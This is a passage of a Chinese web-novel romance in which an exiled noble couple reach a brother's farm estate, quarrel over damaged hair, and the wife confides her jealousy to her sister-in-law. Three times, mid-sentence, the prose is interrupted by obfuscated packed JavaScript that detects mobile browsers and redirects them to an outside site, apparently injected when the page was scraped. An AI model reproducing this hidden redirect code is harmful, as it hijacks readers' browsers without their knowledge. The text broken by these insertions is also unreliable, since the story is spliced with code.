想着,宣槿妤身子不由地轻轻一颤。苏琯璋的双手及时用力地揽上来,将她圈在他温暖的胸膛和结实的双臂间。 宣文晟点头,“东南方向的那处村落被水淹了,好在惊雷将人都弄醒了,没出人命。只可惜房子都住不了了。” 这年头不富裕的人家住的都是茅草屋,素日里遇到下雨天就得爬上屋顶换一层茅草。 只昨日凌晨的雨来得又急又猛,轻易地就将屋顶的茅草冲开了。整个屋子便全都朝着雨水敞开,家具、被子什么的全都泡开了。 “那村子,是不是你那日提议要借宿的那处?”见苏琯璋神情有些不对,宣槿妤下意识问。 苏琯璋道了一声“是”,圈在她身前的双臂再次微微收紧,“幸好那日你没同意,不然……” 他没再说下去,只微微有些急促的心跳声让宣槿妤知道,他的后怕和庆幸。 宣槿妤总算明白前日苏琯璋和她说借住村落时为何她会下意识有所抵触了。 原是这样。 她欲言又止。 宣文晟了解她的心思,温声安抚,“我来找你们的时候,已经看到官府在派人救助。不会真让他们活不下去的。” “我也派了人去帮忙,无事的。” 那就好。 宣槿妤放下了心。 她不知道官场的猫腻,但三哥哥既然说了无事,便当真是无事了。 苏琯璋却是一阵后怕,握在宣槿妤手腕处的手慢慢摩挲着她温软滑腻的肌肤,没敢继续想下去。 若非那日槿妤不愿意进村,那半夜被雨水泡醒可就是他们了…… 落日余晖散尽之前,他们见到了宣文晟所说的他在灵峰山脚下的庄子。 说是庄子,这里比方才他们遇到的四方镇还大。 几百上千亩农田绵延成片,坐落在这灵秀广袤的山峰脚下。 因着才下过一日一夜大暴雨的关系,此时田里的土还湿着,却已然十分齐整,显然勤奋的农户们白日里早已犁过田。 比较突兀的是,靠近山那处的农田边上都叫石墙、木栅栏或土坡围了起来,只留了一道坚硬的石门,正对着上山的小道。 一处显眼的庄子就坐落在官道一侧,占据了灵峰山对面划分为屋舍土地的大部分面积。 几十上百间的木屋、瓦房或茅屋稀稀落落散布在庄子四周,似是众星拱月,形成一个规模颇大的村落。 五辆马车上的车帘都被掀了起来。 从马车上望出去,只能察觉到庄子很大,一路望过去,还未看到庄子的尽头。 让人稀奇的是,庄子里竟还种着地。 “在庄子里种地?” 他们还真是少见这种做法,一般都是庄子里住人,庄子外种地,少有这样将田地和庄子里的房子一起圈起来的。 宣文晟所在的马车车厢中,宣槿妤也忍不住问了这个问题。 不仅是田地,他们在马车上往外看时还能见到庄子里密密匝匝的果树,那果树丰茂的枝叶都落到了高高的围墙外头。 “没办法,这里山林密,野兽也多,若不将田地圈起来,好不容易种出来的粮食能叫野猪都糟蹋了。” 宣文晟对宣槿妤解释道:“糟蹋了粮食还是次要的,那一年有个庄头正在地里锄草,一头野猪跑出来,险些将他生吃了。” 竟这样凶险。 “所以后来庄头农户来找了管家商议,要不进山杀野兽。” “管家来信时我就在附近,便走了一趟,发现山林太大,捕杀野兽并不现实。” “不说这群农户没有猎户的好身手,猎杀了野兽附近的猎户也少了许多活路。” “刚好我看山林中石头、树木都不缺,便依着地形让人垒了石墙、搭了木栅栏。” “你们看那土坡,刚好那个位置有竹林遮挡,又是直上直下的陡峭之地,野兽也不敢轻易到那头去,正好当作屏障。” 宣槿妤听得津津有味。 她早先已经听三哥哥说过这事,只还是第一次亲眼见到,一时觉得十分新鲜又趣致。 而其他辆马车里,苏家也有人解读出了这处农庄这样建设的用意。大人们还好,孩子们已经忍不住开始惊叹起来。 他们甚少接触农事,这样的巧思倒是激起他们的几分兴致。 甚至启哥儿已经开始缠着祖父苏声和父亲苏琯煜,让他们二人给自己演练起军事来。 就拿那野兽当敌军,农户是我军,演练若是野猪或其他野兽突破围墙跑到农田上撒野,该如何将其猎杀或赶走。 当然,苏声是“我军”,而苏琯煜,看着一双儿女兴致盎然的眼神,只得捏着鼻子当了那“野猪将军”。 马车上还有两人,分别是许玉娘和许萱娘婆媳俩,看着苏琯煜咬着牙说出“我是野猪将军”的时候,笑得东摇西晃的,眼泪都掉出来了。 “耶,我军胜了。” “野猪被打跑啦!” 启哥儿和彤姐儿的声音几乎是重合着从前头的马车里传出来,顺着风飘到后头宣槿妤他们这辆马车中。 宣槿妤手中的车帘还未放下来,她好奇地往车窗外看了一眼又一眼,还是没能明白两个孩子的话中意。 “我军和野猪,”宣槿妤神情十分困惑,她回头问苏琯璋,“启哥儿和彤姐儿这是何意?”这两个词竟能放在一起被提及? 胜了,她能理解,只不过,军人和野猪也是能放在一起对敌作战的吗?人猪大战? 她也不指望同样不知情的苏琯璋回答,只想着人猪大战的场面,然后人仰猪翻,于是她“噗嗤”笑出声来。 “待会儿我可要好好问问彤姐儿。”等笑够了,她对苏琯璋说道。 一行人进了庄子,马车在前院影壁前的晒谷场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15771023|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停下。 “这里设置晒谷场,倒也有意思。”王虎对陈阳嘀嘀咕咕。 他早年便听闻这位性情不拘一格的宣家三公子于经商一途上天赋十足,短短几年便挣出了一份不菲的家业。 他当年没能亲眼见到,还嗤之以鼻,以为这是宣家在替自家公子挽尊才放出的消息。 如今看来,这位公子在这样穷乡僻壤之地也能拥有这么大的庄子,倒也是能耐。 最重要的是,这一路上走过的官道都坑坑洼洼的,附近的人家住的都是茅草屋,肉眼可见的贫瘠。 而当一行人进入庄子地界时,一切便迥然不同。 官道十分平整,竟还大手笔地铺了青石路,想也知道不会是官府的手笔。 而庄子周围的人家多是瓦房和木屋,茅草屋寥寥无几,且据他观察,茅草屋好似只是用来堆放杂物,并不住人。 “宣三公子胸有丘壑。”陈阳说,忍不住仰头去看对面那高高耸立的山峰,观那里云雾缭绕,树影婆娑。 真是一处好去处。 炎炎夏日若是能到这里来避暑,想必十分惬意。 陈阳未说出口,但已有人替他出声。 “宣三哥。” 经过所谓的“三哥”之争,宣文晟主动退让,让苏琯文对宣文晟十分有好感。遂他将称谓简化,从“宣家三哥”变成“宣三哥”,便显得亲近许多。 “这灵峰山到京城还没有一日车程的时间,若夏日来这里避暑,既近且清爽。你倒是挑了个好地方。”苏琯文夸道。 灵峰山在盛京城城南往南的方向,虽然因着山林密集而少有人烟,但正因如此也无比清静。 同样离盛京城一日车程的余安府,因着人烟繁华,夏日里也是人声鼎沸,竟是比京城里还要吵闹。本是酷暑难耐,再一吵,京中人家都不乐意去那里。 而这边,宣槿妤已经忍不住问彤姐儿,“彤姐儿,方才在马车上,你和哥哥说的‘我军’和‘野猪’,是什么意思呀?” 彤姐儿先是捂着嘴笑了一会儿,让宣槿妤瞧得越发好奇。 便听得彤姐儿脆生生道:“刚刚祖父和父亲在进行军演。” 哦? 彤姐儿这句话将所有人的视线都吸引了过来,包括正就着夏日到灵峰山脚下避暑为话题聊得正热闹的宣文晟和苏琯文。 倒是苏琯煜,常年挂着笑的脸上倒是难得的窘迫,嘴角竟是一丝笑意也没有了。 不过也少有人留意到苏琯煜,都一心看彤姐儿去了。 “军演主题是:野猪若是从那面山下突袭,这山脚下的农户该如何应对。” 彤姐儿说话十分流利且有条理,“既然是军演,当然要是两支军队对阵。于是,祖父就当农户将军,就是‘我军’,爹爹就当‘野猪将军’,两个人就演练起来了。” “噗哈哈哈。”彤姐儿话音未落,已经有人忍不住笑起来。 “野猪将军”,这称号倒是挺稀奇且搞笑,再将它套在玉面将军苏琯煜身上,不行了,肚子都要笑痛了。 40. 第 40 章 彤姐儿还没说出演练的最终结果,就被此起彼伏的笑声打断。 她也说不下去了,睁着一双水灵灵的大眼睛,疑惑地盯着大人们。 他们都在笑些什么? 还有爹爹,他怎么都不笑?不仅不笑,还一脸的严肃,就跟小叔叔平日里差不多。 她去看娘亲许萱娘、祖母许玉娘和曾祖母苏老夫人,见她们也笑得正欢,便又去看小婶婶宣槿妤。 宣槿妤强忍着笑,摸了摸彤姐儿的头,“彤姐儿说得真好。” 彤姐儿被小婶婶夸了,也就高兴了,便也不再去纠结大人们究竟在笑些什么,毕竟大人们经常奇奇怪怪的。 四妹妹燕姐儿也是这么说的。 等笑够了,众人进了垂花门。 至于陈阳王虎和他们手下的一众官兵和禁军,便都留在了外院,自有人来招待他们。 夜里他们也会宿在外院,这里的屋子充足且宽敞,也足够他们住的了。 用过晚膳,苏家人便都各自去了庄子管事安排好的院子。 今夜他们也终于可以自由安生地过一夜,再不必顶着一众名为护卫实则监视的眼线生活,各自心里都轻松自在不少。 而苏琯璋与宣槿妤所在的院子里,却是难得的气氛紧绷。 自二人在十里亭说开之后,这一路上宣槿妤再没和苏琯璋吵过,顶多动手掐他动口咬他。 今夜她却像是回到了苏国公府他们的院子荆竹园,连闹脾气的法子也是一模一样。 “我不要你来。”宣槿妤心疼地看着自己的一头乌发,原本顺滑如缎子的青丝方才被一通草率对待,此时断了不少,落在地上,聚起小小一摊。 苏琯璋看着那断发,也知道自己好心办了坏事,忙不迭道歉,“槿妤,对不住,我不是故意的。” “你就是故意的,你个莽夫。” 宣槿妤说着眼圈就红了,“这是头发,又不是巾子,你拧它作甚?你这是擦头发吗?你分明是在祸害我的头发。” 她方才沐浴时顺带将一头秀发也洗了,原本将路上沾到的尘土泥灰彻底洗干净,她是十分高兴的。 只她坐在镜子前昏昏欲睡的时候,这男人主动请缨说要给她擦头发,有人伺候,她便高高兴兴应了。 结果她再睁眼的时候,地上便掉了一把青丝。 一把! 她一个月自然掉落的头发加起来都没他拧下来的多。 他到底使了多大的劲儿?摸摸头发,竟然已经半干了。 “呜呜呜,果然你这几日的体贴都是假的,就为了这时候来报复我。” 宣槿妤越看地上的断发越难过,越说越也伤心,眼泪一颗颗地掉了出来,砸在地上的还未干透的发丝上,重新为它裹上一层水珠。 在苏琯璋眼中,她的眼泪与地上的断发都是对他的控诉。 他难得手足无措,掏出帕子要为宣槿妤擦眼泪,却被她躲开。 “槿妤,我……” 他想说,他平日里给自己擦头发就是这么擦的。 行军打仗或者外出公差时,头发能洗一次就十分不错,洗干净了用巾子包住用力一拧,便有许多水被拧出来。 再拧干帕子包住重复个一两次,头发便没有水珠子了,晾干便十分快速。 他从不在意这样简单粗暴拧干头发会对发丝有什么伤害,他这么多年都过来了,如今头发依旧黑亮。 虽然他平日里不大在意旁人的头发如何,但据他回忆,他自己的头发绝对比大多数年轻公子的发质还好。 但他好像忘了,宣槿妤是个姑娘家,好像平日里最是宝贝她那头乌黑秀丽、色若绸缎的青丝。 可是他竟将她的头发拧断了这么多! “槿妤,我错了,不该拧你的头发。”苏琯璋凑近她,小心地道着歉。 “你就只会这一句,来来去去都是这一句,你不腻我都腻了。”宣槿妤抽噎着说道。 臭男人,弄断了她的头发,还要来碍她的眼。 宣槿妤“腾”地站了起来,险些将苏琯璋吓一跳,他忙不迭伸手想要护住她。 可宣槿妤连眼神也不肯给他一个,披上外裳拢好半干的头发就要往外走。 “槿妤,”眼见宣槿妤要出院子,苏琯璋忙上前拦住她,“快到入睡的时辰了,外面天黑,你有气就在这里对我撒好不好?” 宣槿妤绕过他,抬脚就想往外走。 苏琯璋忙跟上,又拦在她面前,“我任你打骂,别哭了好不好?” “苏琯璋,我在你心里就是那等泼妇,只会打你骂你不成?” 宣槿妤声音里已经带上了鼻音,她用随身的帕子捂了捂眼睛,“让开,我不要和你待在一块儿。” “那我走,槿妤你进屋歇息。” “什么走不走的?”院外传来宣文晟的声音,很快他人就出现在二人面前,身后还跟着方沅沅。 他们一眼便见到正站在院门口对峙的夫妻二人。 “这是怎么了?”宣文晟快步上前,走到宣槿妤身边,“妹妹怎么哭了?妹夫又惹到你了?” 苏琯璋:“……”三舅兄用的这个“又”字,就很灵性。 不过宣文晟夫妻来了,他好歹松了口气。 “文晟哥,嫂子。”他收起脸上的急色,和夫妻俩打过招呼,又去看宣槿妤,“槿妤,兄嫂来了,你和他们回屋好不好?” 很好,就是苏琯璋又惹到他妹妹了。 宣文晟抬头对着苏琯璋就是一记眼风,“妹夫,我妹妹还有孕在身呢!你可别总是惹她。” 苏琯璋苦笑,什么话也没说。 宣槿妤原本眼泪已经不流了,一见到兄嫂,面上的泪花儿又开始流淌。 “三哥哥,三嫂嫂。”她哽咽着扑进宣文晟怀里。 宣文晟接住人,“哎哟”一声,“我的小祖宗,你肚子里还有一个呢!别哭好不好?你哭得哥哥心都碎了。” “你来看看我和你嫂嫂给你挑了什么小玩意儿?” 方沅沅也急得不行,忙上前几步,从宣文晟怀里取出一个巴掌大的小盒子,小心地打开。 “妹妹你看,这是我和你三哥哥在江州府做生意时看到的,想着你会喜欢,就央着那手工匠人做了一套。” 宣文晟接过话,“可不是,妹妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778338|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你哥哥我为了你可是花了好大的心思。那匠人本是不愿意卖的,这可是他谋生的手段。” “但你哥哥我有三寸不烂之舌,还有堪比万年王八的耐心,这不,磨了那匠人半月,再加了大价钱,那匠人终于同意给我做了这一套东西来。” “来来来,你要不要看看里边是什么东西?” 宣槿妤本是埋在兄长肩上呜呜哭着,可兄长实在聒噪,惹得她不由分心听了几句。 好嘛! 三寸不烂之舌就算了,万年王八又是什么? 宣槿妤终于被宣文晟逗笑,从他怀里出来,嗔道:“哥哥又胡说八道,小心我跟娘亲告状。” 林清婉最是头疼她这次子。 明明长得是一副翩翩公子模样,从嘴里说出来的话却总是让人哭笑不得,有时候简直恨不得将他那油嘴缝了,好让家里人的耳朵安生一点。 宣文晟忙不迭作揖告饶,“妹妹饶命,哥哥我可都是为了逗你开心才自贬,你可千万不要和娘亲告状啊!” “妹妹啊妹妹,哥哥我求求你了,你大人有大量,槿妤肚里能撑船哦不,如今肚里是我小外甥不能撑船。” “妹妹……” 一旁的苏琯璋难以置信地看着三舅兄,真没想到他竟是这样话多的一个人。 “三哥哥,你好像一只青蛙。”宣槿妤终于忍不住,破涕为笑。 怪聒噪的,他一个就顶夏日池塘里满池子的青蛙,吵得人耳朵疼。 “坏丫头,你三哥哥我都是为了谁?竟这般埋汰我。”宣文晟说。 不过他自己也是撑不住笑起来,“好了,笑了就好。” 宣文晟接过苏琯璋手中举了小半天的帕子,亲自替宣槿妤擦着泪,“都当娘亲的人了,还这么娇气。” 宣槿妤不乐意了,夺过宣文晟手中的帕子,自己擦了起来,“哥哥说我。” “行行行,哥哥不说你。”啧,妹妹可以说他,他却不敢再说她了。 宣文晟投降,环住她肩膀将她小心地转了个身,面对方沅沅,“来和你嫂嫂看看我们给你准备了什么礼物,我去教训你夫君。” 教训? 宣槿妤咬着唇,也不去看方沅沅手中的小盒子,偷偷瞥那两个男人。 宣文晟早有预料,转身时偷偷笑了下,将苏琯璋推出门外,“妹妹你和你嫂嫂回房说说话,三哥哥替你出气。” 哎呀! 宣槿妤忍不住往门口方向走了两步,只很快又想起方才苏琯璋大力拧断她头发的事,又站住了脚步。 她纠结的模样落在方沅沅眼中,逗得方沅沅忍不住捂住嘴偷笑了下。 “好了,妹妹,别管他们男人间的事。” 方沅沅将小盒子盖好,先是放进怀里,再去挽住宣槿妤的手臂,将她往屋子方向带,“正好他们碍事的男人不在,我们也来说些女儿家的悄悄话。” 等到进了房门,走到床边见到地上那一把断发,方沅沅一怔。这些都是妹妹掉的? 她不由抬眼去看宣槿妤半披散在肩侧的一头秀发。 “三嫂嫂你也见到了,这都是苏琯璋那臭男人干的。” 41. 第 41 章 宣槿妤坐在床边,见嫂嫂惊奇的目光在地上的断发和自己头上来回游移,一副欲言又止的模样,索性直说了。 “他那粗人,自己的头发怎么造我不管,可他拧巾子似的来拧我的头发。”宣槿妤抱怨着,此时她已经没有方才那股强烈想哭的愿望了,可还是气。 “他就是个莽夫,臭男人,哼!” 方沅沅不由点头,妹婿的确有点过分了,怎么能这么对待妹妹的头发。 她小心地将宣槿妤的长发散开,从梳妆台上拿过梳子替她梳着,“妹妹这头发养得真好。” 她不好附和宣槿妤的话去说苏琯璋的坏话,只歉意笑笑。 “我是想着,你和妹夫这一路都习惯自己动手了,这庄子上也没什么丫鬟仆妇,都是些农家妇人,派来服侍你们也不合适。” “刚好我贴身的丫鬟嬷嬷都分到另几路去寻你们了,眼下当是才收到消息,在回庄子的路上。” “我和你三哥哥身边倒是还另带了几名小丫鬟,可她们原也不在我们跟前伺候,都是路上买来跟你侄子玩儿的,还小,也不适合派给你们。” “若是知道妹夫不会这些事,我就自己来了。” 宣槿妤摇摇头,“三嫂嫂别说这些,我们原也不需要人伺候。” 虽然从前她也是丫鬟不离身的娇小姐,但流放路上这才几日,她已经习惯了事事都由苏琯璋伺候,也不适应别人来帮她了。 想到这里,她咬着唇,“三嫂嫂你说,他在别的事上心思倒是细腻,怎么这会儿又如此粗心大意了呢?” 娘亲不在这里,眼下也只有和她亲近的娘家三嫂嫂在,她终于将这一路攒着的疑问吐露出来。 方沅沅心道,果然妹妹心里是有妹夫的,只是姑娘家害羞,妹夫又是那样一副性子,也怪不得她不肯表现出来。 她轻笑着,“妹妹不知,他们男人啊,都是这样的。” 宣槿妤惊异地看着方沅沅。 “你三哥哥就是这样,时靠谱时不靠谱的。”方沅沅对宣槿妤说,毫不避讳地在小姑子面前埋汰自家夫君。 宣槿妤下意识想为自家三哥哥说话,但很快想起宣文晟曾经干过的不靠谱的事情来,便没有说话,静静听着方沅沅继续说。 “妹妹你方才听你三哥哥说是去教训你夫君对不对?但你信不信,他出了院门就忘记这回事了?” 嗯?三哥哥会……吗? 好像……确实会。 宣槿妤放下对苏琯璋的担忧,忍不住捂着唇笑了。 “看来三嫂嫂这几年跟着三哥哥在外面跑,领教过不少回。” “可不是,我跟你说,有一回……”方沅沅憋了几年的话,终于有人可以倾诉,便毫无顾忌地说了出来。 说得宣槿妤频频点头,忍不住跟着方沅沅的情绪又气又笑。 说起来,她这里也有一桩关于三哥哥的趣事。 “三嫂嫂你是不知道,有一年我们三兄妹到郊外踏青,大哥哥叫三哥哥带食盒。结果他食盒是拿了,但出门时却不知道随手放哪里去了,然后没带。” “最后马车都走了一半,他还得遣人回家去找食盒,最后发现食盒被猫儿打翻了。” 宣槿妤捂着唇笑起来,“然后娘亲只好又让厨房给我们重新做了一份带上,那晚回家后,三哥哥可是被娘亲好一通数落。” “竟还有这事?”方沅沅这时也替宣槿妤梳顺了发丝,摸了摸已经干了,便将梳子放回梳妆台。 “可见他们男人啊,就是如此粗心大意。”方沅沅下了结论。 宣槿妤认同地握住她的手,“三嫂嫂懂我。” 她撅着嘴,“但是三嫂嫂,三哥哥可比苏琯璋知情识趣多了,又会说话又会哄人。” 说到这里宣槿妤又开始不满,“他都没跟我说过好话。” 瞧瞧刚刚她哭起来的时候苏琯璋是怎么哄人的?再看看宣文晟是怎么哄她的? 可恨苏琯璋这厮,这么多年惹她生气,连个礼物都不会送! 外出公差回来只会买袋糕点回来,她又不是馋猫儿,谁稀罕他巴巴带回来的糕点?平日里她又不是不会差使他去买! 再对比三哥哥,他在外见到好玩的都会想着自己。 宣槿妤爱惜地摸了摸被放在枕头下的小盒子,眼角余光瞥见地上刺目的一团乌发,越发气恼。 方沅沅摸了摸气鼓鼓的小姑子。 都当娘的人了,还能保持这份少女心性,也不知是好事还是坏事。 当是好事的罢? 话都说到了这里,想着刚出门时宣文晟对她的话,方沅沅有些犹豫。 “夫人,我到底是男子,不好和妹妹说贴心话。”宣文晟说,“我瞧妹妹心里是有妹夫的,但她总嘴硬。” “现下是个好机会,不若你抽空问一问?” “当然,没找到机会也没事。我今后一年都会跟着他们,我找个机会探一探槿妤的心思也行,夫人你莫要有心理负担。” 想到这里,方沅沅定了定心,起身离了凳子,坐到床上贴近宣槿妤。 这里就只有她们姑嫂二人,三嫂嫂怎么还这么神神秘秘的? 宣槿妤也起了好奇心,也挪了挪身子靠在方沅沅身上,“三嫂嫂有悄悄话要和我说?” 因为好奇和兴奋,她眼睛里亮亮的。 才哭过的双眼水洗似的晶莹剔透,里头光华流转,险些让方沅沅看得回不过神。 听到宣槿妤的问话,方沅沅才回了神,小声问她,“槿妤,你和妹夫,你是怎么想的?” 她瞧着妹妹和妹夫像是比过去三年感情还要好些,但夫君非说这两人之间还梗着一道坎儿,一直过不去,尤其是妹妹。 宣槿妤和方沅沅姑嫂二人感情也十分要好,但其实还不到可以推心置腹的地步。 但此时她背井离乡,唯一可以诉说心事的娘亲也远在京城,这里她能说的人也就只有三嫂嫂了。 想着,宣槿妤眼神黯淡下去,像是星子归于黑夜。 她鼻子一酸,已经开始哽咽,“三嫂嫂,苏琯璋他心里藏了别人。” 话一旦出口,要继续说便容易很多了。 她将这三年的委屈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15783552|174460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和苏家出事那日她听到的那两个嬷嬷的对话告诉了方沅沅。 时隔大半个月,她仍旧记得清晰。 也仍旧记得,她骤然听闻苏琯璋心里有人时的心痛如绞。 宣槿妤捂紧小腹,“三嫂嫂,我好恨,但我又放不下他。” “娘亲让我跟着我的心走,我想报复他,但这几日,我又常常忽视了这股怨气。” 她制定的折腾苏琯璋的计划,都没怎么实施。 她恨恨地咬着帕子,她可真是太亏了。 竟还有这样的事? 方沅沅吃了一惊。 但她很快冷静下来,和宣槿妤分析着,“这两个婆子出现的时机倒是巧合。早不说晚不说,就在苏家出事的当口躲在假山后面嚼舌头,还被你听见了。” 宣槿妤点头,其实娘亲也和她分析过。 她琢磨了大半个月,觉得这可能是苏琯璋这厮给她设的局,就为将她激怒,和离归家,好挣脱苏家这桩浑水。 “可我还是在意,”宣槿妤说道,“而且娘亲替我打听到,还真有这么个姑娘,在那个时候和离归京。” 就是不知道她是否真的是苏琯璋的心上人。 若是假的还好,苏琯璋骗她,她收拾他一顿也就气消了。 可若是真的……那苏琯璋这臭男人就更加可恨了。 “不若,妹妹你直接去问妹夫?”方沅沅给她出主意,她实在不忍心看着钟灵毓秀的小姑子为情所困。 这样黯然神伤的模样不适合她,她宣槿妤就该是翱翔九天的凰,高高在上自由自在无忧无虑的才好。 “我……我不敢。” 宣槿妤将头靠在方沅沅身上,眼中又开始有水雾聚集,“三嫂嫂,我好不容易和他这样融洽。若是说穿了,他心里真的有人……” 她还要和他们苏家人一起去往淮招县生孩子,话一旦说开了,她知道他心里真的有别人,那这一路还有大半年,她可要怎么过? 是以,那日盛京城外十里亭上,被来送行的常家人和许家人打断她的质问之后,她也不敢再起那和苏琯璋对峙的心思了。 即便那日夜里住驿站,苏琯璋想和她解释,刚起了个头,她便推说她已经知道答案了,日后不必再提。 她看得出来,苏琯璋是真以为她想明白了,也就放下了心,哪里想得到她竟是不敢听。 被家人捧在掌心长大的姑娘,一朝尝到情爱的苦楚,竟也失去往日的大胆明媚,忍不住退缩起来。 方沅沅心疼地揽住宣槿妤,“槿妤……” 她也不知道该说些什么才好。 总归事情的症结出现在他们夫妻之间,二人的性情天差地别,才有如今进退两难的局面。 “三嫂嫂,我知道是三哥哥让你来套我话的。”宣槿妤忽然说道。 方沅沅拍着她背部的手一顿。 被看出来了? 她面上不觉露出一点不自在来,但心里不由有些宽慰。 宣文晟这厮还常和她感慨说他妹妹是个笨蛋美人,可她瞧着,妹妹还是挺机敏聪慧的嘛! 42. 第 42 章 “但三嫂嫂你不要告诉三哥哥好不好?” 宣槿妤转头和方沅沅对视,“三哥哥留下你们母子独子在京,心里负担已经很重了,我不想他因为我和苏琯璋的事心里再起波澜。” “可是槿妤,你哥哥也是会看出来的。”方沅沅实话实说,本就是宣文晟看出来后找她来和槿妤谈心的。 “看出来就看出来。”宣槿妤嘟哝道,反正从小到大,最了解她心思的从来不是大哥哥,而是三哥哥。 “可是女儿家的心思,怎么好意思让哥哥知道?”便是亲哥哥也不行。 方沅沅失笑,点点宣槿妤的鼻尖,“傻姑娘,你哥哥又不会笑话你。” “嫂嫂,就不要让哥哥知道嘛!”宣槿妤见说不动方沅沅,便开始撒娇。 她生得好,声音也清甜,一撒起娇来家里人本就难以招架;且她如今去掉序齿,只口称哥哥嫂嫂,便显得和方沅沅越发亲昵了。 果然方沅沅连抵挡的缓冲时间都没有,直接就招架不住了,连声答应了她。 目的达到,宣槿妤冲她露出个甜甜的笑。 “我们槿妤这么好的姑娘,是该宠着的。”方沅沅叹道。 也就大嫂嫂不知道怎么回事,竟连这样好的小姑子都看不顺眼,心里容她不下。 还有妹夫,可恨生了那样隽秀俊朗的容貌,竟是个木头性子! 方沅沅回去时,果真没将姑嫂二人之间的贴心话告诉丈夫宣文晟。 宣文晟问了,她也只答:“姑娘家的心事,你就别打听了。” 宣文晟:“……” 就是姑娘家的心事,他不方便打听,才让妻子去试探妹妹的,怎么到头来,堵他的还是这句话? 不过,既然妻子这样说,定然是宣槿妤和她说了要对他这个哥哥保密的事,他也只好作罢! 妹妹不想他知道的事,他就不知道好了。 却说苏琯璋回到房里时,方沅沅正照顾着刚睡下的宣槿妤。 她有孕在身,本就比寻常人更容易发困,且情绪还有了几次起伏,才躺下便很快睡了过去。 方沅沅只对苏琯璋点点头,什么也没说,带上门就离开了。 该说的话,想必夫君已经说了,她一个娘家嫂子,也不好和妹夫多说什么,免得说多错多,给小夫妻俩带去什么麻烦。 苏琯璋将地上的断发捡起来,放进心口的荷包里——这还是他最后一次出公差的时候,从宣槿妤用旧了收拾起来的小匣子里拿的。 他取出匕首,将自己的头发割下一截,同宣槿妤的头发放在一处,挽成了一个简化过的同心结,再将荷包放回中衣内。 他熄灭烛火,躺下时十分熟练地将宣槿妤揽入怀中,就着窗外洁白的月光凝视着她的睡颜。 当年他和宣槿妤新婚之夜二人结发的香囊,在禁军统领袭放带人包围苏国公府之前,就已经被他藏在苏国公府荆竹园中,并被埋在了深深的地下。 他当时想着,槿妤不受牵连,即便他上了断头台也不会再有遗憾。那个香囊,就当作是他的私心,将陪他长埋地下。 可如今,他又有了一个象征着二人结发的荷包。 宣槿妤原是睡得有些不安稳,感受到熟悉的胸膛和温度,脑袋禁不住蹭了蹭,才安然睡去,这时便睡沉了。 苏琯璋在她发上吻了吻,感受着胸口贴着的暖意,闭上了眼睛。 “槿妤。”堕入睡梦中前,他想对熟睡的妻子说句什么话,但话到嘴边,也只剩下她的名字被吐露出来。 一夜好眠。 翌日,众人在用早膳时,庄子管事来报,庄子外来了一位贵人,是来找宣文晟这个庄子主人的。 宣文晟放下筷子,对正看着他的众人道:“当是家里来人了,我出去看看。” 他摁住要一同起身的宣槿妤,“我出去就好,你们继续吃,我也用好了。” 方沅沅坐着没动,一来她是女主人,要留下招待客人。二来…… 她鼻子已经开始发酸了,只强忍着不让旁人看出来。 家里来人了,就意味着他们母子俩要跟着家里人回盛京,而宣文晟要继续南下和苏家人一起去淮招县。 一家三口就要分别了。 纵然这段时日她早有心理准备,这几日夜里他们夫妻二人该交代的都交代好了,该说的离别不舍之言也说够了。 只人之常情,心里难免还是舍不得。 宣槿妤伸手握住三嫂嫂放在桌下紧扣着的双手,冲她抱歉地笑了笑。 方沅沅很快收拾好自己的情绪,无声对着小姑子说了句“没事”。 她去看坐在一旁的儿子。 秩哥儿对于即将到来的和父亲的别离一无所知,正一口接一口吃着乳母喂过来的的肉粥。 见父亲起身要走,坐在高凳上的秩哥儿咽下口中的粥,推开乳母再次递到嘴边的勺子,高声叫起来。 “爹爹,爹爹,我也去,秩哥儿也要去。” 生怕父亲不带他,他甚至还站了起来,丝毫不知道这样做可能带来的危险。 大人们皆被他吓了一跳,乳母忙起身护着他。 宣文晟大步走过来,将儿子抱到怀中,问他:“你吃好了?” 秩哥儿对他笑得很甜,“秩哥儿饱了。” 宣文晟去看被乳母放回桌上的粥碗,见还只剩下碗底的部分,又去摸秩哥儿的肚子,见已经微微鼓起,便同意了。 “爹爹带你去。” “好耶!”秩哥儿愉快地在父亲怀里荡起双脚。 宣文晟对苏家人微微颔首,便抱着儿子走了出去。 重新拿起筷子吃早食的众人还能听见他边走边教育着儿子,“秩哥儿,你知不知道你刚才站在高凳上有多危险?没有下次了,听到没有?” “秩哥儿知道了。”童声里带了些许委屈。 …… 众人本就吃得差不多了,宣文晟走出饭厅没多久,方才还没吃饱的人也放下了筷子。 盆盏碗筷被撤了下去,方沅沅见大家都坐在厅里也无聊,便提议出去走走消消食,众人无可无不可地应了。 正走着,很快就见到宣文晟带着人在往回走。 此番 